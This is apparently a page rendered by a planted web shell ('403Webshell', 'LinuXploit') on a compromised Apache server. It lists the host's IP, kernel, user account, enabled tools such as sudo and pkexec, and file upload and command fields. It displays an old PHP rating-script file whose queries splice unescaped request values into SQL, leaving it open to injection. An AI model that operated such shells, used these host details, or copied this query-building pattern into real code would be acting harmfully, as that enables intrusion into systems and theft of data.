403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/baberankings.com.bak/members/kernel/manage_data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/baberankings.com.bak/members/kernel/manage_data/process_query.php
<?

/* K-Rate

(C) Rinalds Uzkalns, 2003-2004. All Rights Reserved

http://turn-k.net



Version: 1.00 (22.09.04)

*/

?>

<?

//Build SQL query

    //search by status

        if (is_array($statfield))

            foreach ($statfield as $key => $value)

                $whereq .= (isset($en['show_'.$key]) ? ' OR '.$status.'='.$key : '');



        $whereq = '('.substr($whereq,4).')';

        if (strlen($whereq) == 2) $whereq = '';



    //search by category

        if (is_numeric($en['cat']) && $en['by_cat'] == 'ON')

            if (!isset($en['show_subs'])) {

                $whereq = $whereq.' AND ('.$ctg.'='.$en['cat'].')';

                } else {

                $q = '';

                foreach ($subs[$en['cat']] as $value)

                         $q .= ' OR '.$ctg.'='.$value;

                $q = substr($q,4);

                $whereq = $whereq.' AND ('.$q.')';

                }



    //searching for something?

        $whereq .= ($en['term'] == '' ? '' : (strlen($whereq)>0 ? ' AND ' : '').$en['search_in'].($en['term_t'] == 'like' ? " LIKE '%{$en[term]}%'" : "='{$en[term]}'"));


    //any where statement at all?

        if (strlen($whereq)>0) 
	  {
		$whereq = ' WHERE '.$whereq;

	    	if($en['req'] == 'manage_pics')
    		{
	      	  $whereq .= ' AND i_video=0';
    		}
	   	else if ($en['req'] == 'manage_vids')
    		{
	         	$whereq .= ' AND i_video=1';
    		}
	  }



    //now we're sorting...

        $orderby .= ' ORDER BY '.$en['sort1'].' '.$en['type1'].($en['sort2'] == 'none' ? '' : ','.$en['sort2'].' '.$en['type2']);


    //and exec the query...

        $query = "SELECT *".(isset($sel_other) ? ', '.$sel_other : '')." FROM $table $joins $whereq $orderby ";

        $result = sql_query($query);
?>


Youez - 2016 - github.com/yon3zu
LinuXploit